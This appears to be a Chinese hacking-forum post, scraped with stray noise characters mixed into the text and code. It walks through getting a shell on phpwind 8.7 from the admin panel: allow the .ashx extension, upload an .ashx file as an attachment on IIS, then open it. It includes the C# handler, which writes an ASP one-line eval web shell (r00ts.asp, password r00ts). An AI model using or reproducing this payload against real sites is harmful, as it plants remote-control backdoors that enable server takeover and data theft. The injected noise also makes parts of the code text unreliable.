phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
; V5 a; \+ V0 `4 g) E: N/ [
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

7 ?" H' ]' T6 \5 o) ~2 ~$ c1 b然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

+ I- R: v" H  b2 p+ X打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
7 ^0 Z0 F* O# Z% ?
$ U$ C) \4 q0 J  W$ w! f下面是代码:
8 m* L2 m2 Q" s4 _: e+ P2 y
& R( K  Z& O( I, x<%@ WebHandler Language="C#"Class="Handler" %>
! E; F5 n3 H: V* i' _8 f; N7 I) {using System;
& z6 Q' O$ _" b" eusing System.Web;
! G: v+ x2 W6 W% L7 W# r  B: f7 {using System.IO;
& x- g- G; |# {" W% V7 Q) ]public class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
3 D* v$ h  M# k: {context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
* _$ ~. ^$ A1 b. ~" dfile1.Flush();
file1.Close();
! d  f; E) x# ^4 j- L}
+ Q1 f2 w1 R3 Y. _  b8 S- }public bool IsReusable {
1 A3 a8 E! L( w9 S7 mget {
6 x; r5 r! n7 mreturn false;
}
" h2 \6 |6 Z9 D7 P' @+ P/ t0 M}
}